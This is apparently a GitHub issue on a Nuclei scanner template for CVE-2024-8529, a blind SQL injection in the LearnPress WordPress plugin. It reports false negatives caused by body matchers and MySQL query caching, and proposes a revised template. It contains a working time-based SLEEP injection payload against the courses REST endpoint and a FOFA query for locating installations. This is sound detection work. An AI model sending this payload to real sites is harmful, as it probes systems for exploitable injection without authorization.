Skip to content

[FALSE-NEGATIVE] CVE-2024-8529: body matchers cause false negatives + DB query cache issue #15768

@xtronix2000

Description

@xtronix2000

Template IDs or paths

- http/cves/2024/CVE-2024-8529.yaml

Environment

- OS: Ubuntu 25.04
- Nuclei: 3.7.0

Steps To Reproduce

  1. VULNERABLE:
    nuclei -t CVE-2024-8529.yaml -target http://wordpress-vulnerable:80
  2. PATCHED:
    nuclei -t CVE-2024-8529.yaml -target http://wordpress-patched:80

Relevant dumped responses

root@5bc2ae94136b:/app# nuclei -t templates/CVE-2024-8529.yaml -target http://wordpress-vulnerable:80 -dresp -duc

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.7.0

		projectdiscovery.io

[INF] Current nuclei version: v3.7.0 (unknown) - remove '-duc' flag to enable update checks
[INF] Current nuclei-templates version: v10.3.5 (unknown) - remove '-duc' flag to enable update checks
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 57
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[DBG] [CVE-2024-8529] Dumped HTTP response http://wordpress-vulnerable:80/wp-json/learnpress/v1/courses?c_fields=(SELECT(0)FROM(SELECT(SLEEP(6)))a)

HTTP/1.1 200 OK
Connection: close
Content-Length: 2
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Allow: GET
Content-Type: application/json; charset=UTF-8
Date: Wed, 01 Apr 2026 14:03:38 GMT
Link: <http://localhost:8080/wp-json/>; rel="https://api.w.org/"
Server: Apache/2.4.66 (Debian)
Set-Cookie: lp_session_guest=g-69cd25ba773d5; expires=Fri, 03 Apr 2026 14:03:38 GMT; Max-Age=172800; path=/; HttpOnly
Vary: Origin
X-Content-Type-Options: nosniff
X-Powered-By: PHP/8.3.30
X-Robots-Tag: noindex
X-Wp-Total: 0
X-Wp-Totalpages: 0

[]
[INF] Scan completed in 1.605908144s. No results found.
root@5bc2ae94136b:/app# nuclei -t templates/CVE-2024-8529.yaml -target http://wordpress-patched:80 -dresp -duc

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.7.0

		projectdiscovery.io

[INF] Current nuclei version: v3.7.0 (unknown) - remove '-duc' flag to enable update checks
[INF] Current nuclei-templates version: v10.3.5 (unknown) - remove '-duc' flag to enable update checks
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 57
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[DBG] [CVE-2024-8529] Dumped HTTP response http://wordpress-patched:80/wp-json/learnpress/v1/courses?c_fields=(SELECT(0)FROM(SELECT(SLEEP(6)))a)

HTTP/1.1 200 OK
Connection: close
Content-Length: 2
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Allow: GET
Content-Type: application/json; charset=UTF-8
Date: Wed, 01 Apr 2026 14:03:55 GMT
Link: <http://localhost:8081/wp-json/>; rel="https://api.w.org/"
Server: Apache/2.4.66 (Debian)
Set-Cookie: lp_session_guest=g-69cd25cb50832; expires=Thu, 02 Apr 2026 14:03:55 GMT; Max-Age=86400; path=/; HttpOnly
Vary: Origin
X-Content-Type-Options: nosniff
X-Powered-By: PHP/8.3.30
X-Robots-Tag: noindex
X-Wp-Total: 0
X-Wp-Totalpages: 0

[]
[INF] Scan completed in 1.624597804s. No results found.
root@5bc2ae94136b:/app# tail templates/CVE-2024-8529.yaml 
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "duration>=6"
          - "contains(content_type, 'application/json')"
          - contains_all(body, 'id\":', 'name\":')
        condition: and
# digest: 4a0a004730450220020262c5fc7e591f4409a1615642c2f1ac0bc8c88e43e191bdffaa88be95434802210082f518e8b3d580faae770be8da773d1f3e8c1f76cf059332ad089f4484d63744:922c64590222798bb761d5b6d8e72950
root@5bc2ae94136b:/app#

Anything else?

Two issues found while testing on LearnPress 4.2.7 (vulnerable) / 4.2.8 (patched):

  1. Body matchers (contains_all) may cause false negatives — in my implementation
    response body is always []. Possible that author tested on different version
    where body was non-empty, but for blind SQLi body check is unreliable by design.

  2. DB query cache (MySQL 5.7 in my case) causes SLEEP() to fire only on first
    identical request. Suggest adding {{randstr}} to payload to bypass query cache.

id: CVE-2024-8529

info:
  name: LearnPress < 4.2.7.1 - SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    The LearnPress WordPress LMS Plugin before 4.2.7.1 is vulnerable to unauthenticated SQL injection via the 'c_fields' parameter in the /wp-json/lp/v1/courses/archive-course REST API endpoint, allowing attackers to extract sensitive information from the database.
  impact: |
    Unauthenticated attackers can exploit SQL injection through the c_fields parameter to extract sensitive database information including user credentials, course data, and personal information from the LearnPress LMS.
  remediation: |
    Update the LearnPress plugin to version 4.2.7.1 or later.
  reference:
    - https://wpscan.com/vulnerability/6b86c089-177b-45b4-979e-4ae08e586e83/
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/c2b2671e-0db7-4ba9-b574-a0122959e8fc
    - https://nvd.nist.gov/vuln/detail/CVE-2024-8529
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-8529
    cwe-id: CWE-89
    epss-score: 0.71031
    epss-percentile: 0.98692
    cpe: cpe:2.3:a:thimpress:learnpress:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    verified: true
    fofa-query: body="wp-content/plugins/learnpress"
    vendor: thimpress
    product: learnpress
  tags: cve,cve2024,wordpress,wp-plugin,wp,learnpress,sqli,time-based-sqli,vkev,vuln

http:
  - raw:
      - |
        @timeout: 30s
        GET /wp-json/learnpress/v1/courses?c_fields=(SELECT(0)FROM(SELECT(SLEEP(6)))a)/*{{randstr}}*/ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 6'
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
        condition: and

Metadata

Metadata

Assignees

Labels

false-negativeNuclei template missing valid results

Type

No type

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions